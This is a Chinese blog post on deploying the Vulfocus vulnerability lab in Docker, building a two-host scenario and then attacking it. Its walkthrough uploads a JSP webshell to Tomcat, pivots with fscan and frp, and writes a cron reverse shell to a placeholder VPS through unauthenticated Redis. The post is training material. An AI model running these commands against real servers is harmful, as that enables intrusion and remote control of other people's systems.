【靶场】vulfocus搭建和场景编排

news2024/11/26 17:48:54

前言

Vulfocus 是一个漏洞集成平台,将漏洞环境 docker 镜像,放入即可使用,开箱即用,这里我们搭建在云服务器上,需要高一点的配置,搭建可以按需搭建本地和自己的服务器上,我们主要使用场景编排功能进行内网突破训练,多重内网的穿透等。

一、搭建

vulfocus:https://github.com/fofapro/vulfocus
在这里插入图片描述
在服务器中已经安装docker:直接拉取镜像到本地

docker pull vulfocus/vulfocus:latest

拉取成功
在这里插入图片描述
启动容器:

将自己的IP替换xx.xx.xx.xx
docker run -d -p 80:80 -v /var/run/docker.sock:/var/run/docker.sock  -e VUL_IP=xx.xx.xx.xx  vulfocus/vulfocus

访问web界面:
默认用户名密码为admin:
在这里插入图片描述
这里是公网服务器所以改密码:
在这里插入图片描述

二、使用

我们需要下载文件才能进行使用:
在这里插入图片描述
下载需要的镜像文件:
下载完成后在docker images中可以看到

在这里插入图片描述
我们使用这几个镜像编排一个简单场景题:

三、场景靶场编排

先添加网卡作为内网使用:
在这里插入图片描述
这里我添加一个network3的网卡:
在这里插入图片描述
添加场景:
在这里插入图片描述
在这里插入图片描述
这里注意需要拖出来不能点:
在这里插入图片描述
在这里插入图片描述
选择我们刚才下载的镜像文件:
在这里插入图片描述
这里我们用tomcat弱密码作为边缘机也就是外网可以访问到的服务器:
在这里插入图片描述
网卡使用network3:
在这里插入图片描述
第二台给一个redis的未授权访问漏洞作为内网靶机:

注意:这里是否开放这里不选(不选就作为内网)
在这里插入图片描述
我们这里将图片截图保存一下:
在这里插入图片描述
在这里插入图片描述
写一个描述:
在这里插入图片描述
发布靶场:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
这里是公网的地址码一下:
在这里插入图片描述
访问靶场:
在这里插入图片描述
这里我们的搭建过程就好了,就可以叫上小伙伴一起打靶场了。

四、靶场实战

这里是tomcat弱密码直接上传jsp马:
注意jsp马需要压缩为zip后将后缀改为war包才能上传
在这里插入图片描述
访问一下马:
在这里插入图片描述
直接用冰蝎连接:
用的默认密码:
在这里插入图片描述
拿到第一个flag:
在这里插入图片描述
看一下权限:
在这里插入图片描述
然后在找其他flag:
查一下内网ip
在这里插入图片描述
上传一个fscan作信息搜集:
在这里插入图片描述
扫描一下内网:
在这里插入图片描述
扫描完成后会生成一个文件
在这里插入图片描述
可以看到另外两台内网:
在这里插入图片描述
我们简单用冰蝎做个内穿(不稳定):
在这里插入图片描述

在这里插入图片描述
开个kali使用redis的cli连接测试:
注意我本机地址为10.102.114.135也就是上面映射Windows11的地址,因为kali是虚拟机所以这里需要修改为本机ip
在这里插入图片描述
这里我们使用任务计划反弹shell,准备一台vps(公网IP):
监听端口:
在这里插入图片描述
使用redis-cli写入任务计划:

redis-cli -h 10.102.114.135
这里替换vpsip和端口
set x "\n* * * * * bash -i >& /dev/tcp/vpsip/1212 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

发现无法写入进入容器查看:
在这里插入图片描述
发现没有装任务计划程序:
第二种方式写入webshell,发现也灭有装web服务我先装一个任务计划,不然没法实现:
在这里插入图片描述
apt-get源无法使用,这下这两种方式就不行了,换源后出现新问题放弃使用这种方式:
这里放弃这种代理方式使用frp搭建隧道实现本机可以访问redis:
使用云主机搭建frp server
在这里插入图片描述

启动
.\frps -c frps.ini

利用冰蝎上传frpc
在这里插入图片描述
写配置:
在这里插入图片描述
本地使用代理访问:
这里是公网ip
在这里插入图片描述
访问一下内网服务:使用内网ip访问
成功打通第一层隧道
在这里插入图片描述
在这里插入图片描述

接下来就可以使用poc去测试了。

五、总结

构建的场景中的主要选一下比较新的漏洞,不然会出现横向移动很麻烦,还有一些漏洞需要回显,可能就会出现一些问题导致无法无法成功,建议场景搭建好后测试一下可行性,因为是docker可能会有一些命令无法使用,这也会造成一些困难。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/587294.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【系统学习】Java基础1之多线程

前言 被公司换岗一年多了,从Linux C换到了java开发,奈何大环境不好,半吊子经验找不到好工作。 接触了spring cloud, spring boot k8s等许多新的知识。已经开发Java生态相关项目已一年半,但都止步于用的阶段,自知毫无竞…

小航编程题库蓝桥杯stem科技素养模拟练习试卷(初级第2套)(含题库教师学生账号)

需要在线模拟训练的题库账号请点击 小航助学编程在线模拟试卷系统(含题库答题软件账号)_程序猿下山的博客-CSDN博客 25. 百度公司是一家于 2000 年创立的互联网公司,其业务范围十分广泛。以下选 项中,( )不…

v4L2应用开发学习!

一.什么是V4L2框架? V4L2英文全称是Video for Linux2,它是专门为视频设备设计的内核驱动。在做视频的开发中,一般我们操控V4L2的设备节点就可以直接对摄像头进行操作。通常V4L2在Linux的设备节点是**/dev/video0**。无论是MIPI摄像头还是UVC摄…

SpringBoot项目快速添加新依赖框架的插件---->EditStarters

在SpringBoot项目中,我们往往会因为项目的需要经常需要添加一些新的依赖来支持项目的运行,此时可能会有人去Maven中央仓库去下载相关依赖,再来导入pom.xml。 但是可以有另外一种更快速的方法:那就是IDEA已经提供了一种快速的插件&…

HTB PC

HTB PC 链接:https://qing3feng.github.io/2023/05/29/HTB%20PC/ 今天又学一招,配置好/etc/hosts​文件: ​[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传 如图所示,这样子就可以直接ping pc​了&#x…

Mongodb 为什么提起处理JSON 就是MOGNODB 的,因为我没得选

开头还是介绍一下群,如果感兴趣polardb ,mongodb ,mysql ,postgresql ,redis 等有问题,有需求都可以加群群内有各大数据库行业大咖,CTO,可以解决你的问题。加群请联系 liuaustin3 ,在新加的朋友会分到2群(共…

ChatGPT时代情感分析还存在吗?一份真实调查

深度学习自然语言处理 原创作者:qazw 引言 最近几年,GPT-3、PaLM和GPT-4等LLM刷爆了各种NLP任务,特别是在zero-shot和few-shot方面表现出它们强大的性能。因此,情感分析(SA)领域也必然少不了LLM的影子,但是哪种LLM适用…

结束了

阅读本文大概需要 1.29 分钟。 帅张读书会,结束了。 这里也简单记录一下这件事,毕竟是自己做了两年的产品。 经过两年的时间,自 2021 年 5 月 27 日至 2023 年 5 月 27 日,帅张读书会这个项目持续了两期,第二期现在结束…

配置wxworks6.9系统移植到xilinx zynq ps端

一,创建bootrom 打开打开Workbench,目录在C:\WindRiver\workbench-3.3\wrwb\platform\x86-win32\eclipse\eclipse-x86-win32 在菜单栏,点击 File->New->Project。The New Project Wizard opens。 在 VxWorks 6.x中,选择 Vx…

音乐驱动虚拟人——娱乐场景下虚拟人的AI驱动实践

元宇宙时代的娱乐场景下,通过高精度的AI驱动模型还原真人的歌舞表演,有着更低成本、更多创造性、精彩度、实时互动性的综合优势,是虚拟数字人驱动的最终形态。LiveVideoStackCon 2022北京站邀请到腾讯音乐天琴实验室计算机视觉负责人——董治…

动画图解程序?这个可视化运行环境太方便了

入门教程、案例源码、学习资料、读者群 请访问: python666.cn 大家好,欢迎来到 Crossin的编程教室 ! 了解代码的执行过程是编程的基本要求。 一个熟练的编程老手只需要用肉眼看着代码,就能对其运行的过程有所了解。然而对于刚接触…

权限维持-SSP-DLL 加载

前言 继续学习中,今天是权限维持的东西,大家永远不要忘记初心,要一起奋斗哦! 注:单机环境和域环境都可以使用 复现 一.进程注入lsass.exe 使用mimikatz将伪造的SSP注入内存,这样用户在注销重新登录的时候就…

机器学习库Scikit-learn

本文目录 3.1 背景知识3.2 Scikit-learn概述3.3 Scikit-learn主要用法 3.3.1 基本建模流程3.3.2 数据预处理3.3.3 监督学习算法3.3.4 无监督学习算法3.3.5 评价指标3.3.6 交叉验证及超参数调优3.4 Scikit-learn总结参考文献 Scikit-learn是基于NumPy、SciPy和Matplotlib的开源P…

全国流体力学盛会召开,飞桨AI4S携最新科研进展亮相西湖大学

‍‍‍‍ 5月20-21日,第四届全国智能流体力学研讨会暨第二届智能流体力学产业联合体大会在西湖大学召开。此次会议由中国力学学会、中国空气动力学会、《水动力学研究与进展》编委会、西湖大学、浙江大学、上海交通大学、中国船舶集团第七〇八研究所主办&#xff1b…

nsis制作windows安装包-修改安装目录读写权限

目录 1. 背景2. 使用AccessControl修改权限2.1 AccessControl下载安装2.2 修改脚本 1. 背景 使用nsis制作的windows安装包在安装时,将安装目录设置到非系统盘里,安装完成后一般不会出现读写权限的异常问题。但是,安装时选择在系统盘里安装&a…

envi随机森林分类5.3版本

在App Store中搜索随进森林工具,进行下载并重启envi软件 含有三个模块 Train Random Forest Model 1. Input Raster:输入影像。选择图像时不能进行空间、光谱裁剪或掩膜(ENVI 5.5及以上版本已经禁止显示这些按钮) 2. Random Sam…

无需租云服务器,Linux本地搭建web服务,并内网穿透发布公网访问

文章目录 前言1. 本地搭建web站点2. 测试局域网访问3. 公开本地web网站3.1 安装cpolar内网穿透3.2 创建http隧道,指向本地80端口3.3 配置后台服务 4. 配置固定二级子域名5. 测试使用固定二级子域名访问本地web站点 转载自cpolar文章:Linux CentOS本地搭建…

c++ 11标准模板(STL) std::map(八)

定义于头文件<map> template< class Key, class T, class Compare std::less<Key>, class Allocator std::allocator<std::pair<const Key, T> > > class map;(1)namespace pmr { template <class Key, class T, clas…

香港财经学院工商管理硕士(MBA)含金量

近年来&#xff0c;随着中国经济的崛起&#xff0c;越来越多的学生和从业人员开始关注MBA教育。在香港地区&#xff0c;香港财经学院的MBA项目备受瞩目&#xff0c;被誉为是该地区最具含金量的MBA项目之一。首先&#xff0c;香港财经学院作为一家优秀的商学院&#xff0c;在教学…

【C++系列P1】带上这篇基础小宝典,进发C++!(持续更新ing~)

​​​​​​​ 前言 大家好吖&#xff0c;欢迎来到 YY 滴 C系列 &#xff0c;热烈欢迎&#xff01;(持续更新ing~&#xff09;本章主要内容面向刚刚学完C语言&#xff0c;准备或正在接触C的老铁。而往往C奇多的小特性和知识点让铁铁们头晕晕脑涨涨&#xff0c;因而本章收纳了…